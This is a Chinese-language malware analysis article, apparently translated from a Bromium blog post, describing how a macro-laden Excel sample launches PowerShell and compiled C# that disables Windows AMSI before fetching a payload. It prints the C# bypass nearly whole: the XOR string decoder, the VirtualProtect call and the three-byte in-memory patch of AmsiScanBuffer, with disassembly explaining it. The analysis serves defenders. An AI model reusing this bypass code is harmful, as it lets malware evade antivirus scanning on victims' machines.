恶意软件如何绕过AMSI检测以逃避检测

41yf1sh 系统安全 2019年3月21日发布
Favorite收藏

导语:在本文中,我将详细介绍一种禁用反恶意软件扫描接口(AMSI)​的技术。这是在Microsoft Windows中的一个内部功能,用于使用系统上安装的反恶意软件对数据进行扫描。

前言

在本文中,我将详细介绍一种禁用反恶意软件扫描接口(AMSI)的技术。这是在Microsoft Windows中的一个内部功能,用于使用系统上安装的反恶意软件对数据进行扫描。我们举例说明,该特性允许应用程序在将数据写入文件之前,请求扫描下载的数据。如果一个恶意软件可以禁用此接口,那么它就可以逃避反病毒检测。在本文中,我们将对从客户那里拿到的一个恶意样本进行详细分析,并看看样本是如何绕过AMSI的。

恶意软件概述

在RTF格式的Excel文档中,都包含经过模糊后的宏:

1.png

通过阅读这个混淆后的代码,我们发现它以混淆后的形式,运行一个位于单元格G135内的命令:

2.png

经过这些多层次的混淆后,Excel文档宏最终会启动PowerShell。由于我们使用工具监控了隔离的虚拟机内部发生的活动,因此我们无需手动对这些层进行反模糊处理。经过对恶意文档威胁进行分析后,我们得到了PowerShell将要执行的完整脚本:

3.png

最终,该脚本尝试从被攻陷的网站下载可执行文件,然后执行该文件,这是一种非常常见的技术。该脚本甚至将请求中用户代理(User-agent)设置为明显无意义的字符串,被感染的服务器可能会利用该字符串来定制下载的Payload,或者使用它来跟踪不同的被感染主机。

禁用反病毒API

然而,在我们所分析的样本中,使用了一个不常见的技术。PowerShell脚本首先将一些经过XOR异或混淆的Base16编码文本转换为C#脚本,该脚本会禁用某些Microsoft反病毒API,以避免文件在下载时被扫描。

这一过程使用PowerShell中的Add-Type命令加载一些C#代码来实现此目的。加载这一C#代码后,PowerShell实例调用名为“o15b72”的类上的“rbc5492”方法,然后休眠1秒,之后下载并运行Payload以进行下一阶段的攻击。

C#代码使用以下的本地API:

     [DllImport("kernel32")]
     public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
     [DllImport("kernel32")]
     public static extern IntPtr LoadLibrary(string name);
     [DllImport("kernel32")]
     public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint
flNewProtect, out uint lpflOldProtect);
     [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
     static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

我们最后再来分析“rbc5492”方法,该类中唯一存在的另一种方法是“v4bad81”:

       public static string v4bad81(string strIn)
{
          string rbf4534 = "a25baab";
     string m941db = String.Empty;
     for (int i = 0; i < strIn.Length; i += 2)
     {
       byte b72323 = Convert.ToByte(strIn.Substring(i, 2), 16);
       m941db += (char)(b72323 ^ rbf4534[(i / 2) % rbf4534.Length]);
     }
 
     return m941db;
}

在该方法的代码中,存在一些奇怪的缩进格式,可能表明恶意软件作者从其他地方复制了一些代码,或者没有对编写的代码进行良好的代码审查。

这个“v4bad81”方法,将接受一个字符串作为输入,对其执行一些解码,然后返回该字符串。

它会逐步遍历输入的字符串,每次2个字符,并使用Convert.ToByte以十六进制对其进行解码,具体是由第二个参数的16和字符串中的数字来定义的。然后,恶意软件会获取该值,并使用从“rbf4534”中提取的值对其进行异或,并将其附加到最终输出字符串。

混淆特定字符串

有趣的是,这种基于XOR的混淆方法与用于混淆C#代码的方法完全相同,甚至使用与PowerShell函数相同的密钥和方法名称。

接下来,就很自然把我们引导了“rbc5492”方法,我们将其拆解成几个部分,并逐一进行分析:

public static int rbc5492()
{
     IntPtr k98a91f = LoadLibrary(v4bad81("005f460b4f050e0d"));
     if (k98a91f == IntPtr.Zero)
     {
       return 1;
     }

这部分代码将加载由模糊字符串“005f460b4f050e0d”描述的库。使用反混淆方法对其进行处理,我们将得到“amsi.dll”。因此,该代码只是加载反恶意软件扫描接口(AMSI)DLL的句柄。

     IntPtr wc852 = GetProcAddress(k98a91f, v4bad81("205f460b3202030f704004070410"));
     if (wc852 == IntPtr.Zero)
     {
     return 1;
     }

然后,代码的下一部分使用该DLL句柄在混淆的字符串“205f460b3202030f704004070410”中加载函数的地址,该字符串去混淆后的原文为“AmsiScanBuffer”。此函数用于扫描缓冲区中的恶意软件内容。

     UIntPtr dwSize = (UIntPtr)5;
     uint Zero = 0;
     if (!VirtualProtect(wc852, dwSize, 0x40, out Zero))
     {
     return 1;
     }

然后,下一部分代码会将“AmsiScanBuffer”代码的内存权限更改为0x40,即PAGE_EXECUTE_READWRITE。这是为了允许恶意软件修改代码。

       Byte[] Patch = { 0x31, 0xff, 0x90 };
       IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
       Marshal.Copy(Patch, 0, unmanagedPointer, 3);
       MoveMemory(new IntPtr(wc852.ToInt64() + 0x001b), unmanagedPointer, 3);
       return 0;
     }

这会将三个字节的内存复制到“AmsiScanBuffer”函数的0x1b(十进制为27)的偏移量中。执行此操作后,将会返回,这将返回到PowerShell脚本,该脚本会在下载之前休眠1秒钟。

那么,到AmsiScanBuffer函数的27个字节是什么?在64位 Windows 10 Redstone 4系统中,如下所示,修改后的指令在00007fff`f479243b处以红色突出显示(位于倒数第2行):

amsi!AmsiScanBuffer:
00007fff`f4792420 4c8bdc           mov     r11, rsp
00007fff`f4792423 49895b08         mov     qword ptr [r11+8], rbx
00007fff`f4792427 49896b10         mov     qword ptr [r11+10h], rbp
00007fff`f479242b 49897318         mov     qword ptr [r11+18h], rsi
00007fff`f479242f 57               push    rdi
00007fff`f4792430 4156             push    r14
00007fff`f4792432 4157             push    r15
00007fff`f4792434 4883ec70         sub     rsp, 70h
00007fff`f4792438 4d8bf9           mov     r15, r9
00007fff`f479243b 418bf8           mov     edi, r8d <- Modified instruction
00007fff`f479243e 488bf2           mov     rsi, rdx
…

写入内存的三个字节会将修改后的指令转换为两条指令:

00007fff`f479243b 31ff             xor     edi, edi
00007fff`f479243d 90               nop

在这里,只需将edi设置为0,即可替换将r8d复制到edi的指令。这是因为,r8d在x64调用约定(Calling Convention)中保存了第三个函数参数。AmsiScanBuffer函数的原型是:

     HRESULT AmsiScanBuffer(
     HAMSICONTEXT amsiContext,
     PVOID        buffer,
     ULONG        length,
     LPCWSTR      contentName,
     HAMSISESSION amsiSession,
     AMSI_RESULT  *result
);

通过确保第三个参数始终被视为0,该过程使得AmsiScanBuffer无效,因为它会始终认为正在扫描长度为0的缓冲区。由于这一修补过程是在PowerShell中完成的,因此结果是,PowerShell进程(并且只有该进程)对AmsiScanBuffer进行的任何调用都无效。这可以防止PowerShell将下载的代码传递给反恶意软件工具进行扫描,从而允许将恶意数据写入文件。

我们推测,PowerShell在这一C#代码之后执行1秒睡眠的原因,是为了确保刷新CPU指令缓存,后者是修改代码的过程中必须要执行的操作。但是,如果要实现这样的目的,我们不清楚为什么恶意软件没有选择使用FlushInstructionCache

总结

其他的一些研究人员发现,禁用AMSI是一些漏洞利用工具包中提供的功能,因此我们可能会在野外观察到一些恶意软件中具有这一特性,并会执行禁用AMSI的操作。然而,在这一样本中所使用的C#代码与去年发布的概念验证代码非常相似,但这个样本中增加了对库名称和函数名称的混淆。

借助一些安全平台,可以使用轻量级虚拟机实现恶意软件的隔离,并且可以从外部查看该虚拟机,此类技术可以向用户提供检测或保护。

本文翻译自:https://www.bromium.com/disabling-anti-malware-scanning-amsi/如若转载,请注明原文地址: https://www.4hou.com/system/16356.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论